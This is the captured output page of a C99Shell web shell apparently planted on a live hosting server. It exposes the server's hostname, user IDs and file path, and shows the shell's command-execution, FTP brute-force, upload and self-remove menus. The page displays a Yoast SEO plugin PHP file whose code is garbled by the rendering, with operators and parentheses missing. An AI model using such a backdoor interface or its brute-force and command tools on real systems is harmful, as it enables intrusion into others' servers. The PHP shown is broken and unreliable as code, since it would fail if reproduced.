!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-content/plugins/wordpress-seo/admin/recalculate/   drwxr-xr-x
Free 179.39 GB of 490.84 GB (36.55%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     class-recalculate.php (2.18 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @package WPSEO\Admin
 */

/**
 * Abstract class to force methods in recalculate classes.
 */
abstract class WPSEO_Recalculate {

    
/**
     * @var array The options stored in the database
     */
    
protected $options;

    
/**
     * @var int
     */
    
protected $items_per_page 20;

    
/**
     * Saves the array with scores to the database.
     *
     * @param array $scores Array with the score for each item.
     */
    
abstract public function save_scores( array $scores );

    
/**
     * Gets the items and parses it to an response
     *
     * @param integer $paged The current page number.
     *
     * @return string
     */
    
abstract protected function get_items$paged );

    
/**
     * Maps the items to an array for the response
     *
     * @param mixed $item Object with data to parse.
     *
     * @return array
     */
    
abstract protected function item_to_response$item );


    
/**
     * Gets the items to recalculate
     *
     * @param int $paged The current page number.
     *
     * @return array Items that can be recalculated.
     */
    
public function get_items_to_recalculate$paged ) {
        
$return = array();

        
$paged abs$paged );
        
$this->options WPSEO_Options::get_all();

        
$items $this->get_items$paged );

        
$return['items']       = $this->parse_items$items );
        
$return['total_items'] = count$items );

        if ( 
$return['total_items'] >= $this->items_per_page ) {
            
$return['next_page'] = ( $paged );
        }

        return 
$return;
    }

    
/**
     * Parse the posts|terms with the value we need
     *
     * @param array $items The items to parse.
     *
     * @return array
     */
    
protected function parse_items( array $items ) {
        
$return = array();
        foreach ( 
$items as $item ) {
            
$response $this->item_to_response$item );
            if ( ! empty( 
$response ) ) {
                
$return[] = $response;
            }
        }

        return 
$return;
    }

    
/**
     * Get default from the options for given field
     *
     * @param string $field  The field for which to get the default options.
     * @param string $suffix The post type.
     *
     * @return bool|string
     */
    
protected function default_from_options$field$suffix ) {
        
$target_option_field $field '-' $suffix;
        if ( ! empty( 
$this->options$target_option_field ] ) ) {
            return 
$this->options$target_option_field ];
        }

        return 
false;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0081 ]--